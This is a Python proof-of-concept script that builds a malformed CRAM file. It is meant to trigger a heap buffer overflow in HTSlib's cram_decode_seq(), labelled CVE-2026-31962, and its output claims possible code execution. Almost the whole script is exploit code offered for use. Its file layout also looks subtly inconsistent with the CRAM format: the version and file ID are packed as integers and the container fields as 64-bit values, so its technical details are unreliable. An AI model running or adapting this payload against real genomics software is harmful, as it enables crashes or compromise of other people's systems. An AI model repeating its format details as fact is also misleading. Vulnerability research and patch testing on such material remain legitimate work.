#!/usr/bin/env python3
"""
CVE-2026-31962 PoC - HTSlib CRAM heap buffer overflow
This PoC demonstrates the vulnerability in HTSlib's CRAM format parsing.
Generated for security research purposes only.
"""
import struct
import sys
def create_malicious_cram():
"""
Create a minimal CRAM file that triggers the heap buffer overflow
in cram_decode_seq() function.
"""
# CRAM file header
header = bytearray()
header.extend(b'CRAM') # Magic number
header.extend(struct.pack('<I', 3)) # Version 3.0
header.extend(struct.pack('<I', 0)) # File ID
# Container header
container = bytearray()
container.extend(struct.pack('<Q', 1)) # Block count
container.extend(struct.pack('<Q', 100)) # Total size
# Block with malicious data to trigger overflow
block = bytearray()
block_type = 0x02 # Compression header block
block_content_id = 0x00
# Craft payload that causes off-by-one read/write in heap
# This triggers the vulnerability when parsing CRAM records
# with omitted sequence/quality data
payload = bytearray([
0x00, 0x01, 0x00, 0x00, # Record type and flags
0xFF, 0xFF, 0xFF, 0xFF, # Bit flags indicating no seq/qual
0x00, 0x00, 0x00, 0x01, # Sequence length (triggers boundary)
0x00, 0x00, 0x00, 0x00, # Quality length
0x41, 0x42, 0x43, 0x44, # Padding data (controlled by attacker)
])
block_data = bytes(payload)
block_size = len(block_data) + 8 # + header bytes
block_header = struct.pack('>BBHI', block_type, block_content_id,
0, block_size)
block = block_header + block_data
return bytes(header + container + block)
if __name__ == '__main__':
print('[+] Generating PoC for CVE-2026-31962')
print('[+] Target: samtools/htslib <= 1.21.1')
print('[+] Vulnerability: Heap buffer overflow in cram_decode_seq()')
malicious_cram = create_malicious_cram()
output_file = 'CVE-2026-31962_poc.cram'
with open(output_file, 'wb') as f:
f.write(malicious_cram)
print(f'[+] PoC file created: {output_file}')
print(f'[+] File size: {len(malicious_cram)} bytes')
print('[!] This file triggers heap buffer overflow when opened by vulnerable htslib')
print('[!] Exploitation may lead to code execution or denial of service')